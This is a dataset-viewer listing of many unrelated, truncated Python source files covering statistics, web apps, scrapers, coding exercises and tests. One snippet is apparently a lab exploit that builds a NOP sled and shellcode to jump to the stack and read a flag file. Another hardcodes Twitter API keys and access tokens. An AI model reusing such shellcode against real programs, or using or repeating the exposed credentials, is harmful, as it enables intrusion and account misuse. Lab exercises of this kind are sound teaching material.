text stringlengths 38 1.54M |
|---|
def bootstrap(returns, statistic_fn, size, num_samples):
"""
:returns: Series of returns to sample from
:statistic_fn: Function expecting a single series argument
and returning a scalar value
:size: Size of each bootstrap sample
:num_samples: Number of bootstrap sample to return
Returns... |
# -*- coding: utf-8 -*-
"""
Created on Wed Mar 15 22:51:07 2017
@author: HP 15 AB032TX
"""
Questions=['what','who','where','how','when','whom','why']
Table=[]
Q=raw_input().split()
G={}
G['faculty']=['faculty','teacher','tutor']
G['attendance']=['presence','turnout','attendance','debarred']
G['subject']=['networ... |
# pylint: disable=wrong-import-order
from __future__ import absolute_import, division, print_function, unicode_literals
from gevent.wsgi import WSGIServer
from flask import Flask, request, render_template
import os
import sys
import json
import requests
sys.path.insert(0, os.getcwd())
from cosrlib.document import l... |
# -*- coding: utf-8 -*-
# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html
import pymongo
import urllib
import logging
import hashlib
from scrapy.exceptions import DropItem
from eastmoney.BloomFilter imp... |
class MapCfg:
def __init__(self,field,bytes):
self.field=field
self.bytes=bytes
class Test:
def __init__(self, len, buf):
print('コンストラクタが呼ばれました')
print(buf)
self.len=len
self.head=buf[:6]
self.buf=buf[6:14]
self.tail=buf[14:]
self.dt=()
self.dt2=... |
## Hyphen RULEBUILDER
import codecs
import os
print('Begin')
TabChar = '\t'
Punctuation = {".", "?", "!", ":", ";", '"', "'", ",", "—", "$", "£",
'″', "′", '”', "´", '*', '(', ')', '¢', '_', '[', ']'}
def strip_punctuation(Token):
"""Strip punctuation marks from the beginning and end of a word"""
TokLis =... |
# -*- encoding: utf-8 -*-
# 没啥算法 需要实现一个通过value找key
class Solution:
def isIsomorphic(self, s: str, t: str) -> bool:
def get_key (dict, value):
return [k for k, v in dict.items() if v == value]
if len(s) != len(t):
return False
dic = {}
for i in range(0, len(... |
#-*- coding:utf-8 -*-
import json
import types
from behave import *
from test import bdd_util
from features.testenv.model_factory import *
from django.test.client import Client
from django.contrib.auth.models import User
from mall.models import ProductLimitZoneTemplate
from tools.regional.models import City, Province... |
from unittest.case import TestCase
from pandas import DataFrame
from probability.calculations.bayes_rule import MultipleBayesRule
from probability.discrete.discrete import Discrete
class TestChapter01(TestCase):
def setUp(self) -> None:
# cookies
self.bowl_1_and_chocolate = 0.125
self.... |
exclude = ('.', ',', '\"', '!', '?')
def handleFile(file):
try:
with open(file, 'r') as f:
data = f.readlines()
except FileNotFoundError:
print(file + 'not found.')
else:
data = [d.strip() for d in data]
pWords = ' '.join(data).split(' ')
words = set()... |
#!C:\Users\Vaibhavi Raut\AppData\Local\Programs\Python\Python37
'''
WAP to accept a list of integers from user to sort them using bubble sort.
it checks adjacent numbers in per iteration
'''
'''
def sort_recur(x,n):
if n==1:
return
for i in range(n+1):
if(x[i]>x[i+1]):
... |
""" Wrappers around Indy-SDK functions to overcome shortcomings in the SDK.
"""
import json
from indy import did, crypto, non_secrets, error
async def create_and_store_my_did(wallet_handle):
""" Create and store my DID, adding a map from verkey to DID using the
non_secrets API.
"""
(my_did, my_vk) ... |
"""
.. module:: ConvoBatch
ConvoBatch
*************
Trains a model according to a configuration file (--batch) or the harcoded config object
It uses the files for each individual day
Model is trained using the train_on_batch method from Keras model, so only a day is loaded in memory at a time
:Description: Co... |
#!/usr/bin/env python3
class VBoxLibException(Exception):
def __init__(self, message):
super().__init__(message)
|
from flask import jsonify
from flask_restful import Resource, abort
from runner.data import db_session
from runner.data.command import Command
from runner.data.command_parser import command_parser, command_parser_not_required
def abort_if_not_found(command_id):
session = db_session.create_session()
command =... |
import asyncio
import signal
import gunicorn.workers.base as base
class GunicornWorker(base.Worker):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.exit_code = 0
def init_process(self):
asyncio.get_event_loop().close()
self.loop = asyncio.new_eve... |
from lexer import Lexer
from parser_pasc import Parser
# PAULO HENRIQUE DOS SANTOS - 11722528
# RAFAEL MOREIRA ALMEIDA - 11722680
if __name__ == "__main__":
lexer = Lexer('prog1.txt')
parser = Parser(lexer)
parser.prog()
parser.lexer.closeFile()
# token = lexer.proxToken() -> Os tokens estavam s... |
# See file COPYING distributed with xnatrest for copyright and license.
from .exceptions import *
from .core import *
from .resources import *
# eof
|
"""zhinst-toolkit multistate node adaptions."""
import typing as t
import numpy as np
import zhinst.utils.shfqa.multistate as utils
from zhinst.toolkit.nodetree import Node, NodeTree
from zhinst.toolkit.nodetree.node import NodeList
from zhinst.toolkit.nodetree.helper import (
lazy_property,
create_or_append_... |
import matplotlib.pyplot as plt
import numpy as np
"""用于为了避免"""
x = np.linspace(-3, 3, 50)
y = 0.1 * x
plt.figure()
plt.plot(x, y, linewidth=10)
plt.ylim(-2, 2) # 设置y从-2到2
ax = plt.gca()
ax.spines['right'].set_color('none')
ax.spines['top'].set_color('none')
# 将下面的边框作为横坐标轴,左边边框作为竖坐标轴
ax.xaxis.set_ticks_position('bott... |
import re
class DoesntHeHaveInternElvesforThis:
def __init__(self):
with open("2015/5/input.txt", "r") as file:
self.strings = file.read().splitlines()
@staticmethod
def check_if_nice_one(string):
if re.findall(r"ab|cd|pq|xy", string): return True
if not re.findall(r"(\... |
import os
from os import path
p = os.path.abspath('')
p1 = os.path.abspath('')
pl = os.path.abspath('')
p += r'\dbs\''
p1 += r'\''
pl += r'\logs\''
p = p[:-1]
p1 = p1[:-1]
pl = pl[:-1]
if path.exists("dbs") == 0:
os.mkdir("dbs")
if path.exists("logs") == 0:
os.mkdir("logs")
pmain = p + "db_main_info.txt"
pm... |
import os
import requests
from flask import Flask, session, render_template, url_for, request, redirect, flash
from flask_bcrypt import Bcrypt
from flask_session import Session
from sqlalchemy import create_engine
from sqlalchemy.orm import scoped_session, sessionmaker
app = Flask(__name__)
# Check for environment v... |
from django.contrib import admin
from apply.models import Apply, Project, ProjectComment
# Register your models here.
admin.site.register(Apply)
admin.site.register(Project)
admin.site.register(ProjectComment) |
from typing import List, NamedTuple
from textblob import Word
MIN_CONFIDENCE = 0.5
class SuggestedWord(NamedTuple):
word: str
confidence: float
def get_spelling_suggestions(
word: str, min_confidence: float = MIN_CONFIDENCE
) -> List[SuggestedWord]:
"""
Find spelling sugges... |
def tupla_par(tupla):
#Crio uma lista em branco para preencher com os valores da tupla
lista = []
#Criar um for para pecorrer todos os elementos da tupla
for i in range(0, len(tupla)):
#se a posição em que estu da tupla for par adiciono ao fim da lista o campo atual da tupla
if i%2==0:
lista.appe... |
import pytest
@pytest.fixture(params=[1,2,3])
def login(request):
print(request.param)
print("获取数据")
def test_case111(login):
print('\n'"执行测试用例111")
|
# -*- coding: utf-8 -*-
"""
Created on Fri Aug 30 15:42:39 2019
@author: aakansha.dhawan
"""
import pickle
from PIL import Image
from numpy import asarray
from numpy import expand_dims
from mtcnn.mtcnn import MTCNN
from sklearn.preprocessing import LabelEncoder
from keras.models import load_model
out_encoder = Label... |
#!/usr/bin/env python2
from pwn import *
exe = "./target"
mydir = "jmp-to-stack"
path = "/home/lab03/" + mydir
context.terminal = ['tmux', 'splitw', '-v']
context.update(arch='i386', os='linux')
env = {"SHELLCODE": "\x90"*0x1000 + asm(pwnlib.shellcraft.i386.linux.cat("/proc/flag"))}
#env = {"SHELLCODE": asm(pwnlib.... |
import os.path as osp
from dea_ml.config.config_parser import parse_config
from dea_ml.config.product_feature_config import FeaturePathConfig
def test_parse_config():
cwd = osp.dirname(__file__)
dummy_config = parse_config(osp.join(cwd, "default.config"))
should_be = FeaturePathConfig()
assert dummy_... |
'''**************************************************************************
File: cargo.py
Language: Python 3.6.8
Author: Juliette Zerick (jzerick@iu.edu)
for the WildfireDLN Project
OPeN Networks Lab at Indiana University-Bloomington
In this file the class cargo_hold manages transient data, that is... |
import warnings
import six
from .doc_utils import append_to_doc
__all__ = ['deprecated', 'deprecated_arg']
def _deprecated_warn(message):
warnings.warn(message, category=DeprecationWarning)
def _name_of(target):
return target.__name__
class deprecated(object):
"""
Decorate a class, a method or ... |
# Generated by Django 3.2.6 on 2021-08-06 21:12
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('app', '0005_message_questions_asked'),
]
operations = [
migrations.RemoveField(
model_name='message',
name='questions_asked'... |
# code taken from mit lecture 6 of computer science and programming
# 19 april 2017 - phil welsby
def printMove(fr, to):
print('move from ' + str(fr) + ' to ' + str(to))
def Towers(n, fr, to, spare):
if n == 1:
printMove(fr, to)
else:
Towers(n-1, fr, spare, to)
Towers(1, fr, to, sp... |
import sys
sys.stdin = open("D4_5247_input.txt", "r")
from collections import deque
def bfs(n):
q = deque([[n, 0]])
while q:
num, count = q[0]
if num > M + 11:
q.popleft()
continue
flag = 1
temp = []
temp.append(num + 1)
temp.append(num * ... |
def jusifyText(words, k):
# text = ' '.join(words)
# print(text)
last_word = words.pop()
line = ""
words_lines = []
words_to_use = []
while words:
word = words.pop(0)
if len(line)+len(word)+1<=k:
words_to_use.append(word)
line = line+word+" "
... |
from time import perf_counter
import re
from collections import Counter
def profiler(method):
def wrapper_method(*arg, **kw):
t = perf_counter()
ret = method(*arg, **kw)
print('Method ' + method.__name__ + ' took : ' +
"{:2.5f}".format(perf_counter()-t) + ' sec')
retu... |
import traceback
from flask import Flask, request
from f6.win32 import from_clipboard, to_clipboard
app = Flask(__name__)
@app.route('/clip', methods=['GET'])
def get_clip():
try:
data = from_clipboard()
return data if data else ''
except Exception:
traceback.print_exc()
... |
from django.shortcuts import render
from django.contrib.auth.models import User, Group
from models import Product, Purchase
from rest_framework import viewsets, status
from serializers import UserSerializer, GroupSerializer, ProductSerializer, PurchaseSerializer
from rest_framework.response import Response
class User... |
from django.db import models
# Create your models here.
class product(models.Model):
product_id = models.AutoField
product_name = models.CharField(max_length = 100)
category=models.CharField(max_length = 100,default = "")
subcategory=models.CharField(max_length = 100,default = "")
price=models.Inte... |
"""
@author: yyuuliang
project: https://github.com/yyuuliang/tf-api-example
Convert Autti's csv to gt.txt
"""
import os
import sys
import csv
def csv_txt():
labels = {'"car"': 1,
'"truck"': 2,
'"pedestrian"': 3,
'"trafficLight"': 4,
'"biker"': 5,
}
csv_fname = os.path.join('dataset/aut... |
# David Powis-Dow CS 101:Python
# 2016-12-03 v0.1
# Chapter 4 : Exercise Turtle Functions
import turtle
def make_window (colr, ttle):
"""
Set up the window with the given background colar and title.
Returns the new window.
"""
w = turtle.Screen()
w.bgcolor(colr)
w.tit... |
from __future__ import print_function
import Pyro4
import bouncer
# you could set a comm timeout to avoid the deadlock situation...:
# Pyro4.config.COMMTIMEOUT = 2
with Pyro4.Daemon() as daemon:
uri = daemon.register(bouncer.Bouncer("Server"))
Pyro4.locateNS().register("example.deadlock", uri)
print("Th... |
# What will the output of this be?
favouriteFood = ["apples","bananas"]
print("My favourite food are: " + favouriteFood[0] + " and " + favouriteFood[1]) |
import pyttsx3
import datetime
import speech_recognition as sr
import wikipedia
import webbrowser
import os
import smtplib
import pyautogui
import psutil
import pyjokes
import requests
import json
def speak(audio):
engine.say(audio)
engine.runAndWait()
def wishMe():
hour = int(datetime... |
#英制单位英寸和公制单位厘米互换
value=float(input('请输入长度:'))
unit=input('请输入单位:')
if unit=='in' or unit=='英寸':
print('%f英寸=%f厘米'%(value,value*2.54))
elif unit=='cm'or unit=='厘米':
print('%f厘米=%f英寸'%(value,value/2.54))
else:
print('请输入有效的单位')
|
import math
import pygame
from coord_sys import CoordSys
from map import Map
def transform_pic(pic, width, height):
return pygame.transform.scale(pic, (int(width), int(height)))
class MapSprite(pygame.sprite.DirtySprite):
def __init__(self, get_image, name):
pygame.sprite.DirtySprite.__init__(self)
... |
# Imports
from twilio.rest import Client
from sendgrid import SendGridAPIClient
from sendgrid.helpers.mail import *
import requests
import json
import os
# Global Setup
# TODO: Store those values in environment variables to retrieve them later (https://www.youtube.com/watch?v=5iWhQWVXosU)
# WEBHOOK_URL - Webhook URL... |
from collections import Counter
dict1 = {'1': 100, '2': 200, '3':70}
dict2 = {'1': 300, '2': 200, '3':400}
d = Counter(dict1) + Counter(dict2)
print(d)
|
import tensorflow as tf
import numpy as np
import argparse
from artistic_style import imread
from artistic_style import imsave
from artistic_style import transfer_style
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument('content',
help='image to be transformed')
... |
#import libraries
import pandas as pd
import matplotlib.pyplot as plt
from sklearn import linear_model
#load dataset
data=pd.read_csv("C:\\Users\\54721\\OneDrive\\Desktop\\kagle dataset\\linear regression dataset\\train.csv")
#quick view about the dataset
print(data)
#Return a tuple representing the dimensionality o... |
#!/usr/bin/env python3
# SlicingExample.py - prompt user for a URL and then extract
# the domain name for that input
# input should be in the form --> http://www.somethinghere.com
url = input('Please enter the compete URL (http://www.xyz.com): ')
domain = url[11:-4]
print(domain)
|
import numpy as np
import sys
from matplotlib import pyplot as plt
def read():
A = np.loadtxt('rtsim.dat')
cav = abs(A[:, 0] + 1j*A[:, 1])
fwd = abs(A[:, 2] + 1j*A[:, 3])
rfl = abs(A[:, 4] + 1j*A[:, 5])
return cav, fwd, rfl
def show(data):
cav, fwd, rfl = data
plt.plot(cav, label='cav')... |
class player:
"""docstring for """
def __init__(self, name, grade, isMember = False):
self.name = name
self.isMember = isMember
self.grade = grade
def getGrade(self):
return self.grade
def getName(self):
return self.name
def getIsMember(self):
retur... |
#
# @lc app=leetcode id=268 lang=python3
#
# [268] Missing Number
#
from typing import List
# @lc code=start
class Solution:
'''O(nlogn) by using sorting
'''
def missingNumber(self, nums: List[int]) -> int:
nums.sort()
for i in range(len(nums)):
if i != nums[i]:
... |
import math
import numpy
import matplotlib
valorPI = math.pi
print("Squared:",valorPI**2)
print("Doble: ",valorPI*2)
print("Valor de pi: ",valorPI)
|
import pandas as pd
import numpy as np
import settings
df = settings.task_15_table
df_st = (df - df.mean()) / df.std(ddof=1)
print(df_st)
n = len(df)
m = p = len(df.columns)
XH = df_st.values
R = df.corr().values
print("R")
print(R)
chi_st = -(n - (2 * p + 5) / 6) * np.log(np.abs(np.linalg.det(R)))
print()
print... |
def sort(li):
for i in range(len(li)):
while i > 0 and li[i] < li[i - 1]:
li[i], li[i - 1] = li[i - 1], li[i]
i -= 1
return li
print(sort([74, 32, 89, 55, 21, 64]))
|
import random
time=random.randint(0,23)
TF=random.choice([True,False])
print("현재 시간은 %d 시 이고 날씨는 %s"%(time,TF))
if(time>=6 and time<=9 )and (TF==True):
print("노래한다")
else:
print("노래하지 않는다")
|
from getpass import getpass
from validation import *
import sqlite3
conn = sqlite3.connect('data.sqlite')
cur = conn.cursor()
cur.execute('''CREATE TABLE IF NOT EXISTS User
(id INTEGER PRIMARY KEY, username TEXT, password TEXT) ''')
username = input('Enter username: ')
password = getpass('Enter password: ')
par... |
import os, sys, signal
from fabric.api import settings, local
from secrets import BASE_DIR
MONITOR_DIR = os.path.join(BASE_DIR, ".monitor")
def startDaemon(log_file, pid_file):
print "DAEMONIZING PROCESS>>> (STDIN %d)" % sys.stdin.fileno()
try:
pid = os.fork()
if pid > 0:
sys.exit(0)
except OSError, e:
pr... |
import os
from collections import defaultdict
import logging
import numpy as np
from PySide import QtGui, QtCore
from PySide.QtCore import Qt
from pubsub import pub
from ..models import model
from ..settings import settings
from treewidgetitem import TreeWidgetItem
class Singleton(object):
_instance = None
de... |
# Create your views here.
from django.core.exceptions import ValidationError
from django.http import HttpResponse
from django.shortcuts import render, redirect
from django.urls import register_converter
from django.views.decorators.csrf import csrf_exempt
from .form import LoginForm
from django.contrib.auth import aut... |
w0 = -59.50
w1 = -0.15
w2 = 0.60
def t(o, a, h, p):
d = o - p
#print("{}\t{}\t{}\t{}\t{}".format(d, d ** 2, d, d * a, d * h))
return [d, d ** 2, d, d * a, d * h]
data = [[37.99, 41, 138, 17.15],
[47.34, 42, 133, 26.00],
[44.38, 37, 151, 25.55],
[28.17, 46, 133, 13.40],
[27... |
if __name__ == "__main__":
device_dict = {}
user = {'username':{'1':'2'}}
user2 = {'3':'4'}
device_dict.update(user)
device_dict.get('username',0).update(user2)
print(device_dict) |
"""Noisebyte uploader flask app"""
import os
import binascii
from subprocess import call
import threading
from secrets import APPROVE_SLACK_TOKEN, TRASH_SLACK_TOKEN, SLACK_WEBHOOK_URL, FLASK_SECRET_KEY
from flask import Flask, request, redirect, flash, render_template
import requests
import youtube_uploader
UPLOAD_FOL... |
__all__ = ['CommError']
class CommError(Exception):
""" An exception that specifies that a low-level communication error occurred. These should only
be thrown for serious communications errors. The top-level event loop will close/cleanup/destroy
any running command. The error message will be return... |
import unittest
from backend.managers.logic import LogicManager
class TestLogicManager(unittest.TestCase):
def setUp(self):
pass
|
class calculate:
def __init__(self):
hehe=0
# print("")
# y=teach()
def make(self, str):
cal = 0
cal1=0
l=len(str)
for i in range(l):
# print(len(str))
# if ((str[i] >= 'a' and str[i] <= 'f')):
# pr... |
# -*- coding: utf-8 -*-
# Built-in
import sys
import os
# import itertools as itt
import copy
import warnings
from abc import ABCMeta, abstractmethod
import inspect
# Common
import numpy as np
# import scipy.interpolate as scpinterp
# import matplotlib.pyplot as plt
# from matplotlib.tri import Triangulation as mplTr... |
#coding=utf-8
import urllib.request
import re
from bs4 import BeautifulSoup
import os
from tkinter import *
#<span class="thispage" data-total-page="131">1</span>
def download():
url_head = url_text.get()
#https://movie.douban.com/celebrity/1022004/photos/
saveDir = "D:\\kk\\"
if not os.p... |
# https://leetcode.com/problems/max-number-of-k-sum-pairs/
from typing import List
from collections import Counter
class Solution:
def maxOperations(self, nums: List[int], k: int) -> int:
count = 0
c = Counter(nums)
for i, freq in c.items():
counterpart = k - i
c_fr... |
#!/usr/bin/env python
#
# Copyright (c) 2014, Aleksey Didik <aleksey.didik@gmail.com>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the r... |
from ida_kernwin import *
from netnode import Netnode
class ActionHandler(action_handler_t):
def __init__(self, handler, disable = None, enable = None):
action_handler_t.__init__(self)
self.disable = disable
self.enable = enable
self.handler = handler
# Say hello wh... |
from threading import Thread, Event
import datetime
import RPi.GPIO as GPIO
import time
import sys
import tweepy, time
auth = tweepy.OAuthHandler('6jj33wAEIhdQGLazNeWunjez8', 'dgNUJbzBEVfhr8ShGPeJRK4ecNlKXRKLtzx48y2agjynrBealh')
auth.set_access_token('166842701-iV01OtWPDkjQybnZuEIf1GWp0vc5fI71lz7LOfB2', 'FC7DpSxVuU7uKN... |
from SimpleCV import *
#import Image, Color, time
disp = Display()
img = Image("images/egg.jpg")
#img2 = img.colorDistance((71,57,45))
img5 = img.toGray()
img2 = img5.binarize()
img3 = img2.findBlobs()
#img4 = img3.resize(500,500)
#img4 = img3.scale(500,500)
print("Image in binary: ", img2)
print("Area: ", img3.area(... |
# -*- coding: utf-8 -*-
""" e-coucou 2015 """
import requests, lxml, json, urllib, sys, argparse, getpass, time
from lxml import html,etree
from requests_ntlm import HttpNtlmAuth
DEBUG = 0
OUTSIDE = 0
level = 0
g_cnt = 0
g_file = 0
g_size = 0
flog=open('sharepoint.log','w')
#----------------
def aff(str,val):
prin... |
from django.shortcuts import render, redirect, get_object_or_404
from django.http import HttpResponse, HttpResponseRedirect, JsonResponse
from .forms import Loginform,RowProduitsForm, RowClientsForm
from .models import Pumal, Clients, Produit, Wilaya
from django.contrib.auth.models import User
from django.contrib.a... |
#!/usr/bin/env python
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "Li... |
def bubble_sort(arr: list) -> list:
arr = list(arr)
for j in range(len(arr)):
for j in range(len(arr)-1-j):
if arr[j] > arr[j+1]:
arr[j], arr[j + 1] = arr[j+1], arr[j]
return arr
|
import os
import re
from enum import Enum
class Status(Enum):
unknown = 1
up = 2
down = 3
def reverse_readline(filename, buffer_size=8196):
log = open(filename)
rest = None
log.seek(0, os.SEEK_END)
total_size = current_position = log.tell()
while current_position > 0:
read_size... |
import sys
sys.setrecursionlimit(10000)
def root(x):
p = x
while p != b[p]:
p = b[p]
b[x] = p
return p
def dijkstra(x, y):
dist = [sys.maxint]*(n+1)
prev = [None]*(n+1)
vis = [False]*(n+1)
dist[x] = 0
while True:
minp, mind = -1, sys.maxint
for i in range(1, n+1):
if not vis[i] and dist[i] < mind:
... |
import numpy as np
import json
import os
import random
from config import Config
def preprocess_user_data(filename):
print("Preprocessing user data...")
browsed_news = []
impression_news = []
with open(filename, "r") as f:
data = f.readlines()
random.seed(212)
random.shuffle(data)
... |
import os
import sys
import re
from Bio import SeqIO
class IPIHandler:
def strip_html(self):
ifh = open(self.seq_file, 'r')
lines = ifh.readlines()
ifh.close()
ofh = open(self.seq_file, 'w')
for line in lines:
subline = re.sub(r'<[^>]*?>', '', line)
ofh.write(subline)
def __init__(self, ipi_code=No... |
"""
This file contains functions dealing with JSON.
"""
import json
import os
import pathlib
from config import PROCEESED_DIR
def write_json(object: dict, filename: str) -> None:
pathlib.Path(PROCEESED_DIR).mkdir(parents=True, exist_ok=True)
outpath = os.path.join(PROCEESED_DIR, f'{filename}.json')
w... |
import unittest
import chemical_elements as E
class TestChemicalElements(unittest.TestCase):
def test_count(self):
N = 118
self.assertEqual(len(E.ELEMENTS), N)
self.assertEqual([e.number for e in E.ELEMENT_LIST], range(1, N + 1))
def test_tritium(self):
self.assertTrue("T" n... |
################################################################################
# Cristian Alexandrescu #
# 2163013577ba2bc237f22b3f4d006856 #
# 11a4bb2c77aca6a9927b85f259d9af10db791ce5cf884bb31e7f7a889d4fb385 ... |
# zschema sub-schema for zgrab2's redis module
# Registers zgrab2-redis globally, and redis with the main zgrab2 schema.
from zschema.leaves import *
from zschema.compounds import *
import zschema.registry
import zcrypto_schemas.zcrypto as zcrypto
import zgrab2
redis_scan_response = SubRecord({
"result": SubRecor... |
import sys
class Error(BaseException):
pass
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
class VariableTypeException(Exception):
def __init__(self, expected, actual, pos):
print(FAIL + 'Unexpected type expected: %s, actual: %s. Position %s' % (expected, actual, pos) + ENDC)
sys.... |
class User:
def __init__(self,name,engagement) :
self.name=name;
self.engagement=engagement;
def __repr__(self) :
return f'<User {self.name}>'
def get_user_score(user):
try:
perform_calculation(user.engagement)
except KeyError:
print("Incorrect values provided to our calculation func... |
from faker import Faker
import sqlite3 as sqlite
# ===========================================================
# Step 3: Create 2000 users
# Step 4: The users should have the same areas as facebook register
#
# This is a demo application in order to show how to creating
# fake user data, based on facebook.com ... |
# -*- coding:utf-8 -*-
"""
判断是否为回文数(反转后与原数字相同)
@author:dell
@file: Day06_01.py
@time: 2020/01/08
"""
def reverse_num(num):
result = 0
while num > 0:
result = result * 10 + num % 10
num = num // 10
return result
def is_palindrome(num):
return reverse_num(num) == num
if __name__ == ... |
"""
Move all the top level files into a folder of the same name.
"""
import os
import shutil, json
def main():
tops = set()
pairs = {}
content = 'content'
for top, dirs, files in os.walk(content):
for filepath in files:
path, fne = os.path.split(filepath)
fn... |
from src.Annuity import Annuity
if __name__ == "__main__":
annuity_cal_0 = Annuity(2400, 2.3, 15, 12)
annuity_cal_1 = Annuity(2400, 2.5, 20, 12)
annuity_cal_2 = Annuity(2400, 3.0, 30, 12)
print(f'15 year total is {annuity_cal_0.get_pv_ordinary_annuity()}, \n'
f'20 year total is {annuity_cal_1... |
import math
sum = 1
N = 100
for i in range(1, N+1):
sum *= i
ans = 0
while(sum != 0):
(sum, mod) = divmod(sum, 10)
ans += mod
print(ans) |
fin = open('input.txt', 'r', encoding='utf8')
words = fin.readlines()
wSet = set()
for elem in words:
for word in elem.split():
wSet.add(word)
print(len(wSet))
|
"""
Select 25 random files from the results of a processing stage from a corpus.
Usage:
$ python select-random-files.py CORPUS STAGE
Writes results to a directory random/CORPUS-STAGE. All files are unzipped.
Example:
$ python select-random-sample.py \
/home/j/corpuswork/fuse/FUSEData/corpora/ln-... |
class File:
def __init__(self, file_name, option):
self.file = open(file_name, option)
def read_lines(self):
return self.file.readlines()
def write_lines(self, lines):
return self.file.writelines(lines)
def __del__(self):
self.file.close() |
rec=[]
def f1(label):
print(label)
f=open("tancrend.txt","r")
for sor in f:
if sor[-1]=="\n":
sor=sor[:-1].split(";")
else:
sor=sor.split(";")
rec.append([sor[0],sor[1],sor[2]])
txt="A fájl beolvasása...kész!"
print("\t"+txt)
txt=rec[0][0]
prin... |
import re
from validation_exception import ValidationException
class UserRegisteration:
NAME_PATTERN=r'^[A-Z][a-z]{2,20}'
MOBILE_PATTERN=r'[0-9]{2}[ ][0-9]{10}$'
EMAIL_PATTERN=r'^[a-z]{1}[a-z0-9]{1,}[.|_|+|-]?[a-z0-9]{1,}?@[a-z0-9]{1,}[.][a-z]{2,4}([.][a-z]{2})?$'
PASSWORD_PATTERN=r'(?=.*?[A-Z])(?=.*?[... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.